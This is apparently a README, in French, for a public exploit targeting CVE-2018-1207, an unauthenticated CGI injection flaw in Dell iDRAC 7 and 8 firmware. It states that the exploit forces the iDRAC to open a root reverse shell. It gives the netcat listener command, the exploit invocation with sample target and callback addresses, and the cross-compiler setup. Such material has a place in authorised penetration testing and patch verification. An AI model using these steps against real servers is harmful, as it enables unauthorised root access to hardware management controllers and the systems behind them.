mgargiullo/cve-2018-1207Exploiter iDRAC 7 et 8 firmware < 2.52.52.52
Exploit pour iDRAC 7 & 8 firmware < 2.52.52.52
Les versions Dell EMC iDRAC7/iDRAC8 antérieures à 2.52.52.52 contiennent une vulnérabilité d'injection CGI qui pourrait être utilisée pour exécuter du code à distance. Un attaquant distant non authentifié pourrait potentiellement utiliser des variables CGI pour exécuter du code à distance.
Ce code devrait forcer le service iDRAC à ouvrir un shell inverse en tant qu'utilisateur root.
Démarrez votre écouteur local : nc -v -l -p local_port
nc -v -l -p 5500
Exécutez l'exploit : python ./cve-2018-1207.py remote_host remote_port local_host local_port
python ./cve-2018-1207.py 192.168.1.10 443 192.168.1.200 5500
Vous devez avoir une version de sh4-linux-gnu-gcc installée, qui est actuellement sh4-linux-gnu-gcc-11
Vous pouvez l'installer avec apt install gcc-11-sh4-linux-gnu
